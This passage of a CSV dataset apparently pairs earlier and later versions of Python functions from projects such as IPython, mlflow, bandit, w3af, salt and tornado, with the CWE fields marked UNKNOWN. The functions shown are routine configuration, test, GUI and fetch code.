                  # Testing inputhook will need a lot of thought, to figure out
                  # how to have tests that don't lock up with the gui event
                  # loops in the picture
                  ipjoin('lib', 'inputhook'),
                  # Config files aren't really importable stand-alone
                  ipjoin('config', 'profile'),
                  # The notebook 'static' directory contains JS, css and other
                  # files for web serving.  Occasionally projects may put a .py
                  # file in there (MathJax ships a conf.py), so we might as
                  # well play it safe and skip the whole thing.
                  ipjoin('frontend', 'html', 'notebook', 'static')
                  ]
    if not have['sqlite3']:
        exclusions.append(ipjoin('core', 'tests', 'test_history'))
        exclusions.append(ipjoin('core', 'history'))
    if not have['wx']:
        exclusions.append(ipjoin('lib', 'inputhookwx'))
    
    # FIXME: temporarily disable autoreload tests, as they can produce
    # spurious failures in subsequent tests (cythonmagic).
    exclusions.append(ipjoin('extensions', 'autoreload'))
    exclusions.append(ipjoin('extensions', 'tests', 'test_autoreload'))

    # We do this unconditionally, so that the test suite doesn't import
    # gtk, changing the default encoding and masking some unicode bugs.
    exclusions.append(ipjoin('lib', 'inputhookgtk'))
    exclusions.append(ipjoin('zmq', 'gui', 'gtkembed'))

    # These have to be skipped on win32 because the use echo, rm, cd, etc.
    # See ticket https://github.com/ipython/ipython/issues/87
    if sys.platform == 'win32':
        exclusions.append(ipjoin('testing', 'plugin', 'test_exampleip'))
        exclusions.append(ipjoin('testing', 'plugin', 'dtexample'))

    if not have['pexpect']:
        exclusions.extend([ipjoin('lib', 'irunner'),
                           ipjoin('lib', 'tests', 'test_irunner'),
                           ipjoin('frontend', 'terminal', 'console'),
                           ])

    if not have['zmq']:
        exclusions.append(ipjoin('zmq'))
        exclusions.append(ipjoin('frontend', 'qt'))
        exclusions.append(ipjoin('frontend', 'html'))
        exclusions.append(ipjoin('frontend', 'consoleapp.py'))
        exclusions.append(ipjoin('frontend', 'terminal', 'console'))
        exclusions.append(ipjoin('parallel'))
    elif not have['qt'] or not have['pygments']:
        exclusions.append(ipjoin('frontend', 'qt'))

    if not have['pymongo']:
        exclusions.append(ipjoin('parallel', 'controller', 'mongodb'))
        exclusions.append(ipjoin('parallel', 'tests', 'test_mongodb'))

    if not have['matplotlib']:
        exclusions.extend([ipjoin('core', 'pylabtools'),
                           ipjoin('core', 'tests', 'test_pylabtools'),
                           ipjoin('zmq', 'pylab'),
        ])

    if not have['cython']:
        exclusions.extend([ipjoin('extensions', 'cythonmagic')])
        exclusions.extend([ipjoin('extensions', 'tests', 'test_cythonmagic')])

    if not have['oct2py']:
        exclusions.extend([ipjoin('extensions', 'octavemagic')])
        exclusions.extend([ipjoin('extensions', 'tests', 'test_octavemagic')])

    if not have['tornado']:
        exclusions.append(ipjoin('frontend', 'html'))

    if not have['rpy2'] or not have['numpy']:
        exclusions.append(ipjoin('extensions', 'rmagic'))
        exclusions.append(ipjoin('extensions', 'tests', 'test_rmagic'))

    if not have['azure']:
        exclusions.append(ipjoin('frontend', 'html', 'notebook', 'azurenbmanager'))

    # This is needed for the reg-exp to match on win32 in the ipdoctest plugin.
    if sys.platform == 'win32':
        exclusions = [s.replace('\\','\\\\') for s in exclusions]
    
    # check for any exclusions that don't seem to exist:
    parent, _ = os.path.split(get_ipython_package_dir())
    for exclusion in exclusions:
        if exclusion.endswith(('deathrow', 'quarantine')):
            # ignore deathrow/quarantine, which exist in dev, but not install
            continue
        fullpath = pjoin(parent, exclusion)
        if not os.path.exists(fullpath) and not glob.glob(fullpath + '.*'):
            warn(""Excluding nonexistent file: %r\n"" % exclusion)

    return exclusions"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,mlflow/legacy_databricks_cli/configure/provider.py,0,"def get_config():
    """"""
    Returns a DatabricksConfig containing the hostname and authentication used to talk to
    the Databricks API. By default, we leverage the DefaultConfigProvider to get
    this config, but this behavior may be overridden by calling 'set_config_provider'

    If no DatabricksConfig can be found, an InvalidConfigurationError will be raised.
    """"""
    if _config_provider:
        config = _config_provider.get_config()
        if config:
            return config
        raise InvalidConfigurationError(
            f""Custom provider returned no DatabricksConfig: {_config_provider}""
        )

    config = DefaultConfigProvider().get_config()
    if config:
        return config
    raise InvalidConfigurationError.for_profile(None)",,mlflow/mlflow,40d7bb67aa1c86e0b2b0624eba4f994d79af3aed,"def get_config():
    """"""
    Returns a DatabricksConfig containing the hostname and authentication used to talk to
    the Databricks API. By default, we leverage the DefaultConfigProvider to get
    this config, but this behavior may be overridden by calling 'set_config_provider'

    If no DatabricksConfig can be found, an InvalidConfigurationError will be raised.
    """"""
    global _config_provider
    if _config_provider:
        config = _config_provider.get_config()
        if config:
            return config
        raise InvalidConfigurationError(
            f""Custom provider returned no DatabricksConfig: {_config_provider}""
        )

    config = DefaultConfigProvider().get_config()
    if config:
        return config
    raise InvalidConfigurationError.for_profile(None)"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,mlflow/metrics/utils/make_genai_metric.py,0,"def eval_fn(eval_df: Union[""pd.DataFrame"", ""pyspark.sql.DataFrame""]) -> MetricValue:
        """"""
        This is the function that is called when the metric is evaluated.
        """"""

        class_name = f""mlflow.metrics.utils.prompts.{version}.EvaluationModel""
        try:
            evaluation_model_class_module = _get_class_from_string(class_name)
        except ModuleNotFoundError:
            raise MlflowException(
                f""Failed to find evaluation model for version {version}.""
                f""Please check the correctness of the version"",
                error_code=INVALID_PARAMETER_VALUE,
            ) from None
        except Exception as e:
            raise MlflowException(
                f""Failed to construct evaluation model {version}. Error: {e!r}"",
                error_code=INTERNAL_ERROR,
            ) from None

        evaluation_context = evaluation_model_class_module(
            name,
            definition,
            grading_prompt,
            examples,
            model,
            *(parameters,) if parameters is not None else (),
        ).to_dict()

        outputs = eval_df[""prediction""].tolist()
        inputs = eval_df[""input""].tolist()
        eval_model = evaluation_context[""model""]
        eval_parameters = evaluation_context[""parameters""]

        # TODO: Save the metric definition in a yaml file for model monitoring

        if not isinstance(eval_model, str):
            raise MlflowException(
                message=""The model argument must be a string URI referring to an openai model ""
                ""(openai:/gpt-3.5-turbo) or  gateway (gateway:/my-route), ""
                f""passed {eval_model} instead"",
                error_code=INVALID_PARAMETER_VALUE,
            )

        def score_model_on_one_payload(
            indx, input, output, variables, eval_df, evaluation_context, eval_parameters, eval_model
        ):
            variable_string = _format_variable_string(variables, eval_df, indx)
            payload = {
                ""prompt"": evaluation_context[""eval_prompt""].format(
                    input=input, output=output, variables=variable_string
                ),
                **eval_parameters,
            }
            try:
                raw_result = model_utils.score_model_on_payload(eval_model, payload)
                eval_result = raw_result.candidates[0].text
                eval_result_json = json.loads(eval_result)
                return eval_result_json[""Score""], eval_result_json[""Justification""]
            except Exception as e:
                _logger.info(f""Failed to score model on payload. Error: {e!r}"")
                return None, None

        scores = []
        justifications = []
        max_workers = 10  # You can adjust this based on your needs

        with ThreadPoolExecutor(max_workers=max_workers) as executor:
            futures = []
            for indx, (input, output) in enumerate(zip(inputs, outputs)):
                futures.append(
                    executor.submit(
                        score_model_on_one_payload,
                        indx,
                        input,
                        output,
                        variables,
                        eval_df,
                        evaluation_context,
                        eval_parameters,
                        eval_model,
                    )
                )

            for future in as_completed(futures):
                score, justification = future.result()
                scores.append(score)
                justifications.append(justification)

        # loop over the aggregations and compute the aggregate results on the scores
        def aggregate_function(aggregate_option, scores):
            import numpy as np

            options = {
                ""min"": np.min,
                ""max"": np.max,
                ""mean"": np.mean,
                ""median"": np.median,
                ""variance"": np.var,
                ""p90"": lambda x: np.percentile(x, 90) if x else None,
            }

            if aggregate_option not in options:
                raise MlflowException(
                    message=f""Invalid aggregate option {aggregate_option}."",
                    error_code=INVALID_PARAMETER_VALUE,
                )

            return options[aggregate_option](scores)

        scores_for_aggregation = [score for score in scores if score is not None]
        aggregate_results = {
            option: aggregate_function(option, scores_for_aggregation) for option in aggregations
        }

        return MetricValue(scores, justifications, aggregate_results)",,mlflow/mlflow,c4c66346ca7936af8c082699f8294d1880da08b0,"def eval_fn(eval_df: Union[""pd.DataFrame"", ""pyspark.sql.DataFrame""]) -> MetricValue:
        """"""
        This is the function that is called when the metric is evaluated.
        """"""

        class_name = f""mlflow.metrics.utils.prompts.{version}.EvaluationModel""
        try:
            evaluation_model_class_module = _get_class_from_string(class_name)
        except ModuleNotFoundError:
            raise MlflowException(
                f""Failed to find evaluation model for version {version}.""
                f""Please check the correctness of the version"",
                error_code=INVALID_PARAMETER_VALUE,
            ) from None
        except Exception as e:
            raise MlflowException(
                f""Failed to construct evaluation model {version}. Error: {e!r}"",
                error_code=INTERNAL_ERROR,
            ) from None

        evaluation_context = evaluation_model_class_module(
            name,
            definition,
            grading_prompt,
            examples,
            model,
            *(parameters,) if parameters is not None else (),
        ).to_dict()

        outputs = eval_df[""prediction""].tolist()
        inputs = eval_df[""input""].tolist()
        eval_model = evaluation_context[""model""]
        eval_parameters = evaluation_context[""parameters""]

        # TODO: Save the metric definition in a yaml file for model monitoring

        if not isinstance(eval_model, str):
            raise MlflowException(
                message=""The model argument must be a string URI referring to an openai model ""
                ""(openai:/gpt-3.5-turbo) or  gateway (gateway:/my-route), ""
                f""passed {eval_model} instead"",
                error_code=INVALID_PARAMETER_VALUE,
            )

        def score_model_on_one_payload(
            indx, input, output, variables, eval_df, evaluation_context, eval_parameters, eval_model
        ):
            variable_string = _format_variable_string(variables, eval_df, indx)
            payload = {
                ""prompt"": evaluation_context[""eval_prompt""].format(
                    input=input, output=output, variables=variable_string
                ),
                **eval_parameters,
            }
            try:
                raw_result = model_utils.score_model_on_payload(eval_model, payload)
                eval_result = raw_result.candidates[0].text
                eval_result_json = json.loads(eval_result)
                return eval_result_json[""Score""], eval_result_json[""Justification""]
            except Exception as e:
                _logger.info(f""Failed to score model on payload. Error: {e!r}"")
                return None, None

        scores = []
        justifications = []
        max_workers = 10  # You can adjust this based on your needs

        with ThreadPoolExecutor(max_workers=max_workers) as executor:
            futures = []
            for indx, (input, output) in enumerate(zip(inputs, outputs)):
                futures.append(
                    executor.submit(
                        score_model_on_one_payload,
                        indx,
                        input,
                        output,
                        variables,
                        eval_df,
                        evaluation_context,
                        eval_parameters,
                        eval_model,
                    )
                )

            for future in as_completed(futures):
                score, justification = future.result()
                scores.append(score)
                justifications.append(justification)

        # loop over the aggregations and compute the aggregate results on the scores
        def aggregate_function(aggregate_option, scores):
            import numpy as np

            options = {
                ""min"": np.min,
                ""max"": np.max,
                ""mean"": np.mean,
                ""median"": np.median,
                ""variance"": np.var,
                ""p90"": lambda x: np.percentile(x, 90) if x else None,
            }

            if aggregate_option not in options:
                raise MlflowException(
                    message=f""Invalid aggregate option {aggregate_option}."",
                    error_code=INVALID_PARAMETER_VALUE,
                )

            return options[aggregate_option](scores)

        scores_for_aggregation = [score for score in scores if score is not None]
        aggregate_results = {
            option: aggregate_function(option, scores_for_aggregation) for option in aggregations
        }

        return MetricValue(scores, justifications, aggregate_results)"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,mlflow/sklearn/utils.py,0,"def _backported_all_estimators(type_filter=None):
    """"""
    Backported from scikit-learn 0.23.2:
    https://github.com/scikit-learn/scikit-learn/blob/0.23.2/sklearn/utils/__init__.py#L1146

    Use this backported `all_estimators` in old versions of sklearn because:
    1. An inferior version of `all_estimators` that old versions of sklearn use for testing,
       might function differently from a newer version.
    2. This backported `all_estimators` works on old versions of sklearn that don’t even define
       the testing utility variant of `all_estimators`.

    ========== original docstring ==========
    Get a list of all estimators from sklearn.
    This function crawls the module and gets all classes that inherit
    from BaseEstimator. Classes that are defined in test-modules are not
    included.
    By default meta_estimators such as GridSearchCV are also not included.
    Parameters
    ----------
    type_filter : string, list of string,  or None, default=None
        Which kind of estimators should be returned. If None, no filter is
        applied and all estimators are returned.  Possible values are
        'classifier', 'regressor', 'cluster' and 'transformer' to get
        estimators only of these specific types, or a list of these to
        get the estimators that fit at least one of the types.

    Returns
    -------
    estimators : list of tuples
        List of (name, class), where ``name`` is the class name as string
        and ``class`` is the actual type of the class.
    """"""
    # lazy import to avoid circular imports from sklearn.base
    import sklearn
    from sklearn.base import (
        BaseEstimator,
        ClassifierMixin,
        ClusterMixin,
        RegressorMixin,
        TransformerMixin,
    )
    from sklearn.utils._testing import ignore_warnings

    IS_PYPY = platform.python_implementation() == ""PyPy""

    def is_abstract(c):
        if not hasattr(c, ""__abstractmethods__""):
            return False
        if not len(c.__abstractmethods__):
            return False
        return True

    all_classes = []
    modules_to_ignore = {""tests"", ""externals"", ""setup"", ""conftest""}
    root = sklearn.__path__[0]  # sklearn package
    # Ignore deprecation warnings triggered at import time and from walking
    # packages
    with ignore_warnings(category=FutureWarning):
        for _, modname, _ in pkgutil.walk_packages(path=[root], prefix=""sklearn.""):
            mod_parts = modname.split(""."")
            if any(part in modules_to_ignore for part in mod_parts) or ""._"" in modname:
                continue
            module = import_module(modname)
            classes = inspect.getmembers(module, inspect.isclass)
            classes = [(name, est_cls) for name, est_cls in classes if not name.startswith(""_"")]

            # TODO: Remove when FeatureHasher is implemented in PYPY
            # Skips FeatureHasher for PYPY
            if IS_PYPY and ""feature_extraction"" in modname:
                classes = [(name, est_cls) for name, est_cls in classes if name == ""FeatureHasher""]

            all_classes.extend(classes)

    all_classes = set(all_classes)

    estimators = [
        c for c in all_classes if (issubclass(c[1], BaseEstimator) and c[0] != ""BaseEstimator"")
    ]
    # get rid of abstract base classes
    estimators = [c for c in estimators if not is_abstract(c[1])]

    if type_filter is not None:
        # copy the object if type_filter is a list
        type_filter = list(type_filter) if isinstance(type_filter, list) else [type_filter]
        filtered_estimators = []
        filters = {
            ""classifier"": ClassifierMixin,
            ""regressor"": RegressorMixin,
            ""transformer"": TransformerMixin,
            ""cluster"": ClusterMixin,
        }
        for name, mixin in filters.items():
            if name in type_filter:
                type_filter.remove(name)
                filtered_estimators.extend([est for est in estimators if issubclass(est[1], mixin)])
        estimators = filtered_estimators
        if type_filter:
            raise ValueError(
                ""Parameter type_filter must be 'classifier', ""
                ""'regressor', 'transformer', 'cluster' or ""
                ""None, got""
                f"" {type_filter!r}""
            )

    # drop duplicates, sort for reproducibility
    # itemgetter is used to ensure the sort does not extend to the 2nd item of
    # the tuple
    return sorted(set(estimators), key=itemgetter(0))",,mlflow/mlflow,807b729a74c1e2ba1b5bfa51edefbbc9b0054fd7,"def _backported_all_estimators(type_filter=None):
    """"""
    Backported from scikit-learn 0.23.2:
    https://github.com/scikit-learn/scikit-learn/blob/0.23.2/sklearn/utils/__init__.py#L1146

    Use this backported `all_estimators` in old versions of sklearn because:
    1. An inferior version of `all_estimators` that old versions of sklearn use for testing,
       might function differently from a newer version.
    2. This backported `all_estimators` works on old versions of sklearn that don’t even define
       the testing utility variant of `all_estimators`.

    ========== original docstring ==========
    Get a list of all estimators from sklearn.
    This function crawls the module and gets all classes that inherit
    from BaseEstimator. Classes that are defined in test-modules are not
    included.
    By default meta_estimators such as GridSearchCV are also not included.
    Parameters
    ----------
    type_filter : string, list of string,  or None, default=None
        Which kind of estimators should be returned. If None, no filter is
        applied and all estimators are returned.  Possible values are
        'classifier', 'regressor', 'cluster' and 'transformer' to get
        estimators only of these specific types, or a list of these to
        get the estimators that fit at least one of the types.

    Returns
    -------
    estimators : list of tuples
        List of (name, class), where ``name`` is the class name as string
        and ``class`` is the actual type of the class.
    """"""
    # lazy import to avoid circular imports from sklearn.base
    import sklearn
    from sklearn.base import (
        BaseEstimator,
        ClassifierMixin,
        ClusterMixin,
        RegressorMixin,
        TransformerMixin,
    )
    from sklearn.utils._testing import ignore_warnings

    IS_PYPY = platform.python_implementation() == ""PyPy""

    def is_abstract(c):
        if not hasattr(c, ""__abstractmethods__""):
            return False
        if not len(c.__abstractmethods__):
            return False
        return True

    all_classes = []
    modules_to_ignore = {""tests"", ""externals"", ""setup"", ""conftest""}
    root = sklearn.__path__[0]  # sklearn package
    # Ignore deprecation warnings triggered at import time and from walking
    # packages
    with ignore_warnings(category=FutureWarning):
        for _, modname, _ in pkgutil.walk_packages(path=[root], prefix=""sklearn.""):
            mod_parts = modname.split(""."")
            if any(part in modules_to_ignore for part in mod_parts) or ""._"" in modname:
                continue
            module = import_module(modname)
            classes = inspect.getmembers(module, inspect.isclass)
            classes = [(name, est_cls) for name, est_cls in classes if not name.startswith(""_"")]

            # TODO: Remove when FeatureHasher is implemented in PYPY
            # Skips FeatureHasher for PYPY
            if IS_PYPY and ""feature_extraction"" in modname:
                classes = [(name, est_cls) for name, est_cls in classes if name == ""FeatureHasher""]

            all_classes.extend(classes)

    all_classes = set(all_classes)

    estimators = [
        c for c in all_classes if (issubclass(c[1], BaseEstimator) and c[0] != ""BaseEstimator"")
    ]
    # get rid of abstract base classes
    estimators = [c for c in estimators if not is_abstract(c[1])]

    if type_filter is not None:
        # copy the object if type_filter is a list
        type_filter = list(type_filter) if isinstance(type_filter, list) else [type_filter]
        filtered_estimators = []
        filters = {
            ""classifier"": ClassifierMixin,
            ""regressor"": RegressorMixin,
            ""transformer"": TransformerMixin,
            ""cluster"": ClusterMixin,
        }
        for name, mixin in filters.items():
            if name in type_filter:
                type_filter.remove(name)
                filtered_estimators.extend([est for est in estimators if issubclass(est[1], mixin)])
        estimators = filtered_estimators
        if type_filter:
            raise ValueError(
                ""Parameter type_filter must be 'classifier', ""
                ""'regressor', 'transformer', 'cluster' or ""
                ""None, got""
                "" %s."" % repr(type_filter)
            )

    # drop duplicates, sort for reproducibility
    # itemgetter is used to ensure the sort does not extend to the 2nd item of
    # the tuple
    return sorted(set(estimators), key=itemgetter(0))"
functions_for_bandit_with_cwe.csv,UNKNOWN,UNKNOWN,tests/functional/test_functional.py,0,"def test_no_blacklist_pycryptodome(self):
        """"""Test importing pycryptodome module

        make sure it's no longer blacklisted
        """"""
        expect = {
            ""SEVERITY"": {""UNDEFINED"": 0, ""LOW"": 0, ""MEDIUM"": 0, ""HIGH"": 0},
            ""CONFIDENCE"": {""UNDEFINED"": 0, ""LOW"": 0, ""MEDIUM"": 0, ""HIGH"": 0},
        }
        self.check_example(""pycryptodome.py"", expect)",UNKNOWN,PyCQA/bandit,d1622bf0432f0205e0035bcf87f3e22346ccd386,"def test_no_blacklist_pycryptodome(self):
        """"""Test importing pycryptodome module

        make sure it's no longer blacklisted
        """"""
        expect = {
            ""SEVERITY"": {""UNDEFINED"": 0, ""LOW"": 0, ""MEDIUM"": 0, ""HIGH"": 0},
            ""CONFIDENCE"": {""UNDEFINED"": 0, ""LOW"": 0, ""MEDIUM"": 0, ""HIGH"": 0},
        }
        self.check_example(""pycryptodome.py"", expect)"
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,core/ui/gui/entries.py,0,"def __init__(self, w3af, widgname, dimension, defaultInitPos=None):
        self.connect(""notify"", self.move_handle)
        self.winconfig = w3af.mainwin.generalconfig
        self.widgname = widgname
        self.dimension = dimension

        # if we have it from before, get the info; otherwise plan to
        # set it up around its half
        try:
            widgname in self.winconfig
        except ValueError:
            # https://github.com/andresriancho/w3af/issues/332
            # ValueError: invalid operation on closed shelf
            self.signal = self.connect(""expose-event"", self.exposed)
        else:
            if widgname in self.winconfig:
                self.set_position(self.winconfig[widgname])
            elif defaultInitPos is not None:
                self.set_position(defaultInitPos)
                self.winconfig[self.widgname] = defaultInitPos
            else:
                self.signal = self.connect(""expose-event"", self.exposed)",,andresriancho/w3af,3c13eb69c5568979d2588d5716b908decb2f340e,"def __init__(self, w3af, widgname, dimension, defaultInitPos=None):
        self.connect(""notify"", self.move_handle)
        self.winconfig = w3af.mainwin.generalconfig
        self.widgname = widgname
        self.dimension = dimension

        # if we have it from before, get the info; otherwise plan to
        # set it up around its half
        if widgname in self.winconfig:
            self.set_position(self.winconfig[widgname])
        elif defaultInitPos is not None:
            self.set_position(defaultInitPos)
            self.winconfig[self.widgname] = defaultInitPos
        else:
            self.signal = self.connect(""expose-event"", self.exposed)"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/fileserver/gitfs.py,0,"def update():
    '''
    Execute a git fetch on all of the repos
    '''
    # data for the fileserver event
    data = {'changed': False,
            'backend': 'gitfs'}
    provider = _get_provider()
    pid = os.getpid()
    data['changed'] = purge_cache()
    for repo in init():
        if provider == 'gitpython':
            origin = repo['repo'].remotes[0]
            working_dir = repo['repo'].working_dir
        elif provider == 'pygit2':
            origin = repo['repo'].remotes[0]
            working_dir = repo['repo'].workdir
        elif provider == 'dulwich':
            # origin is just a uri here, there is no origin object
            origin = repo['uri']
            working_dir = repo['repo'].path
        lk_fn = os.path.join(working_dir, 'update.lk')
        with salt.utils.fopen(lk_fn, 'w+') as fp_:
            fp_.write(str(pid))
        try:
            log.debug('Fetching from {0}'.format(repo['uri']))
            if provider == 'gitpython':
                try:
                    fetch_results = origin.fetch()
                except AssertionError:
                    fetch_results = origin.fetch()
                for fetch in fetch_results:
                    if fetch.old_commit is not None:
                        data['changed'] = True
            elif provider == 'pygit2':
                fetch = origin.fetch()
                if fetch.get('received_objects', 0):
                    data['changed'] = True
            elif provider == 'dulwich':
                client, path = \
                    dulwich.client.get_transport_and_path_from_url(
                        origin, thin_packs=True
                    )
                refs_pre = repo['repo'].get_refs()
                try:
                    refs_post = client.fetch(path, repo['repo'])
                except dulwich.errors.NotGitRepository:
                    log.critical(
                        'Dulwich does not recognize remote {0} as a valid '
                        'remote URI. Perhaps it is missing \'.git\' at the '
                        'end.'.format(repo['uri'])
                    )
                    continue
                except KeyError:
                    log.critical(
                        'Local repository cachedir {0!r} (corresponding '
                        'remote: {1}) has been corrupted. Salt will now '
                        'attempt to remove the local checkout to allow it to '
                        'be re-initialized in the next fileserver cache '
                        'update.'
                        .format(repo['cachedir'], repo['uri'])
                    )
                    try:
                        salt.utils.rm_rf(repo['cachedir'])
                    except OSError as exc:
                        log.critical(
                            'Unable to remove {0!r}: {1}'
                            .format(repo['cachedir'], exc)
                        )
                    continue
                if refs_post is None:
                    # Empty repository
                    log.warning(
                        'gitfs remote {0!r} is an empty repository and will '
                        'be skipped.'.format(origin)
                    )
                    continue
                if refs_pre != refs_post:
                    data['changed'] = True
                    # Update local refs
                    for ref in _dulwich_env_refs(refs_post):
                        repo['repo'][ref] = refs_post[ref]
                    # Prune stale refs
                    for ref in repo['repo'].get_refs():
                        if ref not in refs_post:
                            del repo['repo'][ref]
        except Exception as exc:
            log.error(
                'Exception {0} caught while fetching gitfs remote {1}'
                .format(exc, repo['uri']),
                exc_info_on_loglevel=logging.DEBUG
            )
        try:
            os.remove(lk_fn)
        except (IOError, OSError):
            pass

    env_cache = os.path.join(__opts__['cachedir'], 'gitfs/envs.p')
    if data.get('changed', False) is True or not os.path.isfile(env_cache):
        env_cachedir = os.path.dirname(env_cache)
        if not os.path.exists(env_cachedir):
            os.makedirs(env_cachedir)
        new_envs = envs(ignore_cache=True)
        serial = salt.payload.Serial(__opts__)
        with salt.utils.fopen(env_cache, 'w+') as fp_:
            fp_.write(serial.dumps(new_envs))
            log.trace('Wrote env cache data to {0}'.format(env_cache))

    # if there is a change, fire an event
    if __opts__.get('fileserver_events', False):
        event = salt.utils.event.get_event(
                'master',
                __opts__['sock_dir'],
                __opts__['transport'],
                listen=False)
        event.fire_event(data, tagify(['gitfs', 'update'], prefix='fileserver'))
    try:
        salt.fileserver.reap_fileserver_cache_dir(
            os.path.join(__opts__['cachedir'], 'gitfs/hash'),
            find_file
        )
    except (IOError, OSError):
        # Hash file won't exist if no files have yet been served up
        pass",,saltstack/salt,daa924ebb7266fbc5cc778d4a6b887605204a7ab,"def update():
    '''
    Execute a git fetch on all of the repos
    '''
    # data for the fileserver event
    data = {'changed': False,
            'backend': 'gitfs'}
    provider = _get_provider()
    pid = os.getpid()
    data['changed'] = purge_cache()
    for repo in init():
        if provider == 'gitpython':
            origin = repo['repo'].remotes[0]
            working_dir = repo['repo'].working_dir
        elif provider == 'pygit2':
            origin = repo['repo'].remotes[0]
            working_dir = repo['repo'].workdir
        elif provider == 'dulwich':
            # origin is just a uri here, there is no origin object
            origin = repo['uri']
            working_dir = repo['repo'].path
        lk_fn = os.path.join(working_dir, 'update.lk')
        with salt.utils.fopen(lk_fn, 'w+') as fp_:
            fp_.write(str(pid))
        try:
            log.debug('Fetching from {0}'.format(repo['uri']))
            if provider == 'gitpython':
                try:
                    fetch_results = origin.fetch()
                except AssertionError:
                    fetch_results = origin.fetch()
                for fetch in fetch_results:
                    if fetch.old_commit is not None:
                        data['changed'] = True
            elif provider == 'pygit2':
                fetch = origin.fetch()
                if fetch.get('received_objects', 0):
                    data['changed'] = True
            elif provider == 'dulwich':
                client, path = \
                    dulwich.client.get_transport_and_path_from_url(
                        origin, thin_packs=True
                    )
                refs_pre = repo['repo'].get_refs()
                try:
                    refs_post = client.fetch(path, repo['repo'])
                except dulwich.errors.NotGitRepository:
                    log.critical(
                        'Dulwich does not recognize remote {0} as a valid '
                        'remote URI. Perhaps it is missing \'.git\' at the '
                        'end.'.format(repo['uri'])
                    )
                    continue
                except KeyError:
                    log.critical(
                        'Local repository cachedir {0!r} (corresponding '
                        'remote: {1}) has been corrupted. Salt will now '
                        'attempt to remove the local checkout to allow it to '
                        'be re-initialized in the next fileserver cache '
                        'update.'
                        .format(repo['cachedir'], repo['uri'])
                    )
                    try:
                        salt.utils.rm_rf(repo['cachedir'])
                    except OSError as exc:
                        log.critical(
                            'Unable to remove {0!r}: {1}'
                            .format(repo['cachedir'], exc)
                        )
                    continue
                if refs_post is None:
                    # Empty repository
                    log.warning(
                        'gitfs remote {0!r} is an empty repository and will '
                        'be skipped.'.format(origin)
                    )
                    continue
                if refs_pre != refs_post:
                    data['changed'] = True
                    # Update local refs
                    for ref in _dulwich_env_refs(refs_post):
                        repo['repo'][ref] = refs_post[ref]
                    # Prune stale refs
                    for ref in repo['repo'].get_refs():
                        if ref not in refs_post:
                            del repo['repo'][ref]
        except Exception as exc:
            log.error(
                'Exception {0} caught while fetching gitfs remote {1}'
                .format(exc, repo['uri']),
                exc_info=log.isEnabledFor(logging.DEBUG)
            )
        try:
            os.remove(lk_fn)
        except (IOError, OSError):
            pass

    env_cache = os.path.join(__opts__['cachedir'], 'gitfs/envs.p')
    if data.get('changed', False) is True or not os.path.isfile(env_cache):
        env_cachedir = os.path.dirname(env_cache)
        if not os.path.exists(env_cachedir):
            os.makedirs(env_cachedir)
        new_envs = envs(ignore_cache=True)
        serial = salt.payload.Serial(__opts__)
        with salt.utils.fopen(env_cache, 'w+') as fp_:
            fp_.write(serial.dumps(new_envs))
            log.trace('Wrote env cache data to {0}'.format(env_cache))

    # if there is a change, fire an event
    if __opts__.get('fileserver_events', False):
        event = salt.utils.event.get_event(
                'master',
                __opts__['sock_dir'],
                __opts__['transport'],
                listen=False)
        event.fire_event(data, tagify(['gitfs', 'update'], prefix='fileserver'))
    try:
        salt.fileserver.reap_fileserver_cache_dir(
            os.path.join(__opts__['cachedir'], 'gitfs/hash'),
            find_file
        )
    except (IOError, OSError):
        # Hash file won't exist if no files have yet been served up
        pass"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,tests/pyfunc/docker/test_docker_flavors.py,0,"def start_container(port: int):
    container = docker_client.containers.run(
        image=TEST_IMAGE_NAME,
        ports={8080: port},
        detach=True,
    )

    def stream_logs():
        for line in container.logs(stream=True):
            sys.stdout.write(line.decode(""utf-8""))

    # Start a thread to stream logs from the container
    t = threading.Thread(target=stream_logs, daemon=True)
    t.start()

    try:
        # Wait for the server to start
        for _ in range(30):
            try:
                response = requests.get(url=f""http://localhost:{port}/ping"")
                if response.ok:
                    break
            except requests.exceptions.ConnectionError as e:
                sys.stdout.write(f""An exception occurred when calling the server: {e}\n"")

            container.reload()  # update container status
            if container.status == ""exited"":
                raise Exception(""Container exited unexpectedly."")

            sys.stdout.write(f""Container status: {container.status}\n"")
            time.sleep(5)

        else:
            raise TimeoutError(""Failed to start server."")

        yield container
    finally:
        container.stop()
        container.remove()
        t.join(timeout=5)",,mlflow/mlflow,4940b99ea82b39fd4f4840f1004d6fa721be0f4b,"def start_container(port: int):
    container = docker_client.containers.run(
        image=TEST_IMAGE_NAME,
        ports={8080: port},
        detach=True,
    )

    def stream_logs():
        for line in container.logs(stream=True):
            sys.stdout.write(line.decode(""utf-8""))

    # Start a thread to stream logs from the container
    t = threading.Thread(target=stream_logs, daemon=True)
    t.start()

    try:
        # Wait for the server to start
        for _ in range(30):
            try:
                response = requests.get(url=f""http://localhost:{port}/ping"")
                if response.ok:
                    break
            except requests.exceptions.ConnectionError:
                time.sleep(5)

            container.reload()  # update container status
            if container.status == ""exited"":
                raise Exception(""Container exited unexpectedly."")

            sys.stdout.write(f""Container status: {container.status}\n"")

        else:
            raise TimeoutError(""Failed to start server."")

        yield container
    finally:
        container.stop()
        container.remove()
        t.join(timeout=5)"
functions_for_tornado_with_cwe.csv,UNKNOWN,UNKNOWN,tornado/websocket.py,0,"def __init__(
        self,
        request: httpclient.HTTPRequest,
        on_message_callback: Optional[Callable[[Union[None, str, bytes]], None]] = None,
        compression_options: Optional[Dict[str, Any]] = None,
        ping_interval: Optional[float] = None,
        ping_timeout: Optional[float] = None,
        max_message_size: int = _default_max_message_size,
        subprotocols: Optional[List[str]] = None,
        resolver: Optional[Resolver] = None,
    ) -> None:
        self.connect_future = Future()  # type: Future[WebSocketClientConnection]
        self.read_queue = Queue(1)  # type: Queue[Union[None, str, bytes]]
        self.key = base64.b64encode(os.urandom(16))
        self._on_message_callback = on_message_callback
        self.close_code = None  # type: Optional[int]
        self.close_reason = None  # type: Optional[str]
        self.params = _WebSocketParams(
            ping_interval=ping_interval,
            ping_timeout=ping_timeout,
            max_message_size=max_message_size,
            compression_options=compression_options,
        )

        scheme, sep, rest = request.url.partition("":"")
        scheme = {""ws"": ""http"", ""wss"": ""https""}[scheme]
        request.url = scheme + sep + rest
        request.headers.update(
            {
